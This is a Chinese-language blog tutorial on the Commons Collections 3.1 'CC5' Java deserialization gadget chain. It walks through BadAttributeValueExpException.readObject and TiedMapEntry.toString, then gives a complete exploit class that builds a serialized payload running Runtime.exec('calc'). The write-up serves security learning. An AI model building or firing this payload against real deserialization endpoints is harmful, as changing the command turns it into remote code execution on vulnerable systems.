• 版本:jdk8u25
  • 依赖:Apache Commons Collections 3.1
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

cc5链子详解

对cc6触发链的补充

书接上回,我们学习了cc6的触发链子,最为重要的莫过于在 TiedMapEntry.getValue()之前的触发,链子为:

TiedMapEntry.getValue->LazyMap.get->ChainedTransformer.transform->InvokeTransformer.transform

而在cc6链,我们接下去的为TiedMapEntry.hashcode函数

在学习cc5链之前,我们需要学习一个新的触发函数,定位到org.apache.commons.collections.keyvalue.TiedMapEntry的toString方法

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

非常简单,调用了getKey和getValue函数并返回

我们继续查找谁调用了toString函数,因为调用实在是太多了,没法一个一个给大家解析,所以直接步入正题

定位到javax.management.BadAttributeValueExpException类的readObject函数,函数调用如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

解析一下代码,首先获取所有反序列化过后的字段为gf(注意一下,这个readFields和getDeclaredFields不一样,他只会获取可以序列化且反序列化的字段,被transient修饰的字段是不能序列化的,也就不会出现在readFields的返回中)

获取gf中的val字段,如果有,则赋值给varObj,没有则将null赋值给varObj

接下来判断valObj是否为null,是则val=null

如果不是null则判断是否为String的实例,是则val=valObj

如果都没成功,则获取当前的JVM安全管理器,如果没有安全管理器,即为null

再判断varObject是否是Long,Integer,Float,Double,Byte,Short,Boolean当中任何的实例,如果是,就调用它的toString()

正常业务情况,System.getSecurityManager()是我们不可控的,这取决于业务系统是否开启了JVM安全管理器,但默认情况下是没有开启的,所以直接打就行了

那么刚刚已经分析到了toString()函数,我们看看val这个字段是否可控

1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

很好,只有一个公有构造函数赋值,完全可控

但是呢,还有一个问题,构造函数中就调用了var.toString,导致了链子提前触发,无法正确的序列化恶意字段

解决方式就是反射修改val属性,不调用构造函数

那么整理一下现在的链子:

ObjectInputStream.readObject->BadAttributeValueExpException.readObject->TiedMapEntry.toString->TiedMapEntry.getValue->LazyMap.get->ChainedTransformer.transform->InvokeTransformer.transform

exp.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package test;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.HashedMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception{
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]});
InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Transformer[] transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3};
Transformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashedMap();

Class class1=Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor constructor=class1.getDeclaredConstructor(Map.class,Transformer.class);
constructor.setAccessible(true);
LazyMap lazyMap= (LazyMap) constructor.newInstance(map,chainedTransformer);

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Nebu1ea");

BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);

//序列化
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
byte[] bytes=byteArrayOutputStream.toByteArray();
String st= Base64.getEncoder().encodeToString(bytes);
System.out.print(st);

//反序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

结语

BadAttributeValueExpException这个类是非常重要的类,因为他的readObject函数能调用任意的toString方法,以后也可能会经常用到

还是那句话,cc5链子要用到cc6的知识,那cc5为什么不叫cc6呢?

就此结束,Ciallo~~

更新于

请我喝[茶]~( ̄▽ ̄)~*

Nebu1ea 微信支付

微信支付

Nebu1ea 支付宝

支付宝

Nebu1ea 贝宝

贝宝